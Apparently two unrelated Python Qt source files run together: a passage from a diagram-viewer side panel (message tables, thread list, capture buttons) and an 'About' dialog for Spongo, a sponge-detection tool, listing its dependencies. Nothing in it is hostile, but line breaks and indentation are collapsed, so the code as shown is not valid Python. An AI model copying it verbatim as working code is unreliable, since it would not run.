self.tableRet.horizontalHeader().setStretchLastSection(True) vwidth = self.tableRet.verticalHeader().length() hwidth = self.tableRet.horizontalHeader().height() fwidth = self.tableRet.frameWidth() * 2 self.tableRet.setFixedHeight(vwidth + hwidth + fwidth) vbox.addWidget(self.tableRet) self.buttonSrcView = QPushButton('view code') self.buttonSrcView.setFixedWidth(200) self.buttonSrcView.clicked.connect(self.openSourceViewer) self.buttonHide = QPushButton('Hide') self.buttonHide.setFixedWidth(200) self.buttonHide.clicked.connect(self.notifyHide) self.buttonHideAllMsg = QPushButton('Hide All') self.buttonHideAllMsg.setFixedWidth(200) self.buttonHideAllMsg.clicked.connect(self.hideAllMsgNamedAsSelected) self.groupBoxMessageInfo.setLayout(vbox) self.checkHideCircular = QCheckBox('Hide Circular Messages') self.checkHideCircular.setCheckState(QtCore.Qt.Unchecked) self.checkHideCircular.stateChanged.connect(self.changeHideCircularMessage) self.addWidget(self.checkHideCircular) self.addWidget(self.groupBoxMessageInfo) self.groupBoxMessageInfo.setSizePolicy(self.sizePolicy) def reset(self): for idx in reversed(range(0,self.listThread.count())): self.listThread.takeItem(idx) def setMsgInfoMessage(self,msg): self.strMessage = msg def changeHideCircularMessage(self,state): if state == QtCore.Qt.Unchecked: self.diagramView.hideCircularChanged(False) elif state == QtCore.Qt.Checked: self.diagramView.hideCircularChanged(True) def setMsgInfoModule(self,module): self.strModule = module def updateSearchStatus(self,curr,number): self.searchCursor.setText("%d/%d" % (curr,number)) def connectSourceViewer(self,viewer): self.srcViewer = viewer def openSourceViewer(self): self.srcViewer.openViewer(self.strModule,self.strMessage) def setMessageInfoTime(self,begin,end,duration): self.tableTime.item(0,1).setText(begin) self.tableTime.item(1,1).setText(end) self.tableTime.item(2,1).setText(duration + ' msec') def setMessageInfoArg(self,listParam,listArg): # Clear the contents in the table max_arg_num = 10 for idx in range(0,max_arg_num): self.tableArgs.item(idx,0).setText('') self.tableArgs.item(idx,1).setText('') if listArg: for idx, text in enumerate(listArg): self.tableArgs.item(idx,1).setText(text) for idx, text in enumerate(listParam): self.tableArgs.item(idx,0).setText(text) else: for idx in range(0,self.tableArgs.rowCount()): self.tableArgs.item(idx,1).setText('') self.tableArgs.item(idx,0).setText('') def setMessageInfoRet(self,listRet): if listRet: for idx, text in enumerate(listRet): self.tableRet.item(idx,1).setText(text) else: for idx in range(0,self.tableRet.rowCount()): self.tableRet.item(idx,1).setText('') self.tableRet.item(idx,0).setText('') def notifyInteractiveStateChanged(self,state): if const.mode_interactive != self.mode: return if const.STATE_INTERACTIVE_CAPTURING == state: self.buttonCapture.setEnabled(True) self.buttonCapture.setText('Stop Capture') if const.STATE_INTERACTIVE_PROCESSING == state: self.buttonCapture.setEnabled(False) if const.STATE_INTERACTIVE_IDLE == state: self.buttonCapture.setEnabled(True) self.buttonCapture.setText('Capture') if const.STATE_INTERACTIVE_RESET == state: self.buttonCapture.setEnabled(True) self.buttonCapture.setText('Capture') elif const.STATE_INTERACTIVE_ACTIVE == state: self.buttonCapture.setEnabled(True) self.buttonCapture.setText('Capture') def setMessageInfo(self,info): self.msgInfo.setText(info) def setAvailable(self,threads): self.sig.emit(threads) def toggleThreadDisplay(self,item): print(self.listThread.currentRow()) #if item.isSelected(): # print(item.text() + " is selected") #else: # print(item.text() + " is not selected") self.diagramView.showThread(self.listThread.currentRow(),item.isSelected()) def hideAllMsgNamedAsSelected(self): self.diagramView.hideAllMessageSelected() def addThreadList(self,threads): if not self.groupBoxThreadInfo: self.groupBoxThreadInfo = QGroupBox() self.threadInfo = QLabel("Thread Info.") self.groupBoxThreadInfo.setStyleSheet("QGroupBox {border: 1px solid gray; border-radius: 9px; margin-top: 0.5em} QGroupBox::title {subcontrol-origin: margin; left: 10px; padding: 0 3px 0 3px;") if not self.threadvbox: self.threadvbox = QVBoxLayout() if not self.listThread: self.listThread = QListWidget() self.listThread.setFixedWidth(200) self.listThread.setSelectionMode(QAbstractItemView.MultiSelection) QtCore.QObject.connect(self.listThread, QtCore.SIGNAL("itemClicked(QListWidgetItem *)"), self.toggleThreadDisplay) self.threadvbox.addWidget(self.threadInfo) self.threadvbox.addWidget(self.listThread) self.groupBoxThreadInfo.setLayout(self.threadvbox) self.addWidget(self.groupBoxThreadInfo) self.groupBoxThreadInfo.setSizePolicy(self.sizePolicy) for id in threads: item = QListWidgetItem(id) self.listThread.addItem(item) def connectController(self,controller): self.controller = controller self.connect(controller,QtCore.SIGNAL('setAvailable()'),self.setAvailable) def connectDiagramView(self,view): self.diagramView = view def disconnectMsgRcv(self,receiver): print("Implement this method !!! disconnectMsgRcv") def connectMsgRcv(self,receiver): self.msgRcv.append(receiver) def notifyHide(self): for rcv in self.msgRcv: rcv.activateHide(True) def showHiddenLifelines(self): response, selected_items = HiddenDialog.HiddenDialog.getSelectedItems(self.diagramView.getHiddenLifeLines()) if response: self.diagramView.showLifelines(selected_items) def showHiddenMessages(self): response, selected_items = HiddenMessageDialog.HiddenMessageDialog.getSelectedItems(self.diagramView.getHiddenMessages(),self.diagramView.getHiddenLifeLines()) if response: if selected_items[3] in self.diagramView.getHiddenLifeLines(): confirmation = ShowLifeLineDialog.ShowLifeLineDialog.confirmToShowLifeLine(selected_items[3]) if confirmation: self.diagramView.showLifelines([selected_items[3]]) self.diagramView.showMessages(selected_items) else: self.diagramView.showMessages(selected_items) def notifyCapture(self): for rcv in self.msgRcv: rcv.activateCapture(True) def moveToPrev(self): for rcv in self.msgRcv: rcv.moveToPrev() def moveToNext(self): for rcv in self.msgRcv: rcv.moveToNext() def searchMsg(self): str = self.editTextSearch.toPlainText() for rcv in self.msgRcv: rcv.searchMessage(str)
class AboutMessageBox(QMessageBox): @staticmethod def show(parent: QWidget = None): about_dialog = AboutMessageBox(parent) about_dialog.exec_() def __init__(self, parent: QWidget) -> None: super().__init__(parent) self.setWindowTitle("À propos") self.setIconPixmap( QPixmap(":/img/spongo_logo.png").scaledToWidth( 100, Qt.SmoothTransformation)) title = QLabel("À propos de Spongo") title.setObjectName("about-title") self.layout().addWidget(title, 0, 2) tab_widget = QTabWidget(self) tab_widget.addTab(self._appTab(), "L'application") tab_widget.addTab(self._dependenciesTab(), "Dépendances") tab_widget.setFixedSize(600, 460) tab_font = tab_widget.tabBar().font() tab_font.setPointSize(12) tab_widget.tabBar().setFont(tab_font) self.layout().addWidget(tab_widget, 1, 2) def _appTab(self) -> QWidget: tab = QWidget(self) tab.setObjectName("about-tab") layout = QVBoxLayout(tab) layout.setAlignment(Qt.AlignTop) intro = ( "Cette application a été réalisée par Margaux DOUDET et Alexandre THOMAS dans le cadre d'un projet en M1 à l'ISEN Yncréa Brest. " "Ce programme a été développé pour et en collaboration avec l'institut français de recherche et d'exploitation de la mer (Ifremer)." ) context = ( "L'objectif de cet outil est d'effectuer une analyse sur un dossier d'images de fonds marins. Durant l'analyse, le programme cherche " "à identifier les éponges marines visibles et les classifier selon 6 morphotypes : Ball, Vase, Corona, Crown, Red et Grey_white. Une " "fois l'analyse terminée, les données récoltées peuvent être exportées selon différents formats afin d'être exploitée pour des " "recherches scientifiques.") implementation = ( "La détection et la classification des éponges est réalisée grâce au réseau de neurone Yolov4 entrainé sur environ 250 images " "de chaque morphotype. Ce réseau a ensuite été implémenté dans l'outil grâce à la library PyTorch. L'interface de l'application " "a quant à elle été réalisée avec le framework PySide2. Pour plus d'informations sur les autres dépendances, se référer à l'onglet " "\"Dépendances\".") license = ( "Ce projet est mis à disposition sous licence MIT. " "Pour plus d'informations, se référer au dépôt GitHub du projet : <a href='https://github.com/shell-done/Spongo'>https://github.com/shell-done/Spongo</a>." ) title = QLabel("À propos") title.setAlignment(Qt.AlignJustify) title.setObjectName("tab-title") layout.addWidget(title) parts = [intro, context, implementation, license] for p in parts: label = QLabel(p) label.setAlignment(Qt.AlignJustify) label.setWordWrap(True) label.setOpenExternalLinks(True) layout.addWidget(label) return tab def _dependenciesTab(self) -> QWidget: tab = QWidget(self) tab.setObjectName("about-tab") layout = QVBoxLayout(tab) layout.setAlignment(Qt.AlignTop) # add link and version dependencies = { "PySide2": { "version": "5.15.2", "author": "Qt for Python Team", "link": "https://www.pyside.org", "license": "LGPL v3", "license-file": "pyside2.txt" }, "PyTorch": { "version": "1.8.1+cu102", "author": "PyTorch Team", "link": "https://pytorch.org/", "license": "BSD-3", "license-file": "pytorch.txt" }, "OpenCV Python": { "version": "4.5.1.48", "author": "Olli-Pekka Heinisuo", "link": "https://github.com/skvark/opencv-python", "license": "MIT", "license-file": "opencv-python.txt" }, "NumPy": { "version": "1.20.2", "author": "Travis E. Oliphant et al.", "link": "https://www.numpy.org", "license": "BSD-3", "license-file": "numpy.txt" }, "YoloV4": { "version": "N/A", "author": "Alexey Bochkovskiy, Chien-Yao Wang, Hong-Yuan Mark Liao", "link": "https://github.com/AlexeyAB/darknet", "license": "Unlicense", "license-file": "yolov4.txt" }, "Pytorch-YOLOv4": { "version": "N/A", "author": "Tianxiaomo, ersheng-ai", "link": "https://github.com/Tianxiaomo/pytorch-YOLOv4", "license": "Apache-2.0", "license-file": "pytorch-yolov4.txt" }, "dict2xml": { "version": "1.7.0", "author": "Stephen Moore", "link": "http://github.com/delfick/python-dict2xml", "license": "MIT", "license-file": "dict2xml.txt" } } dependencies_title = QLabel("Dépendances :") dependencies_title.setObjectName("tab-title") self._dependencies_list = QComboBox(self) for name, data in dependencies.items(): self._dependencies_list.addItem(name, data) self._dependencies_list.currentIndexChanged.connect( self._dependenciesComboBoxChanged) dependencies_list_layout = QVBoxLayout() dependencies_list_layout.addWidget(self._dependencies_list) dependencies_list_layout.setContentsMargins(5, 0, 5, 5) version_layout = QHBoxLayout() version_layout.setAlignment(Qt.AlignLeft) version_title = QLabel("Version :") version_title.setObjectName("dependency-info") self._version = QLabel() version_layout.addWidget(version_title) version_layout.addWidget(self._version, 1) license_layout = QHBoxLayout() license_layout.setAlignment(Qt.AlignLeft) license_title = QLabel("License :") license_title.setObjectName("dependency-info") self._license = QLabel() license_layout.addWidget(license_title) license_layout.addWidget(self._license, 1) author_layout = QHBoxLayout() author_title = QLabel("Auteur(s) :") author_title.setObjectName("dependency-info") self._author = QLabel() author_layout.addWidget(author_title) author_layout.addWidget(self._author, 1) link_layout = QHBoxLayout() link_layout.setAlignment(Qt.AlignLeft) link_title = QLabel("Lien :") link_title.setObjectName("dependency-info") self._link = QLabel() self._link.setOpenExternalLinks(True) link_layout.addWidget(link_title) link_layout.addWidget(self._link, 1) dependency_info = QGridLayout() dependency_info.setVerticalSpacing(0) dependency_info.addLayout(version_layout, 0, 0) dependency_info.addLayout(license_layout, 0, 1) dependency_info.addLayout(author_layout, 1, 0, 1, 2) dependency_info.addLayout(link_layout, 2, 0, 1, 2) licenses_title = QLabel("Licence :") licenses_title.setObjectName("tab-title") self._license_area = QTextEdit(self) self._license_area.setReadOnly(True) self._license_area.setObjectName("license-file") license_area_layout = QVBoxLayout() license_area_layout.addWidget(self._license_area) license_area_layout.setContentsMargins(5, 0, 5, 5) layout.addWidget(dependencies_title) layout.addLayout(dependencies_list_layout) layout.addLayout(dependency_info) layout.addWidget(licenses_title) layout.addLayout(license_area_layout) self._dependenciesComboBoxChanged(0) return tab @Slot(int) def _dependenciesComboBoxChanged(self, idx: int): data = self._dependencies_list.currentData() self._version.setText(data["version"]) self._license.setText(data["license"]) self._author.setText(data["author"]) self._link.setText("<a href='%s'>%s</a>" % (data["link"], data["link"])) license_file = QFile(":/documents/licenses/%s" % data["license-file"]) text = "" if license_file.open(QIODevice.ReadOnly | QFile.Text): stream = QTextStream(license_file) stream.setCodec("UTF-8") text = stream.readAll() license_file.close() self._license_area.setText(text)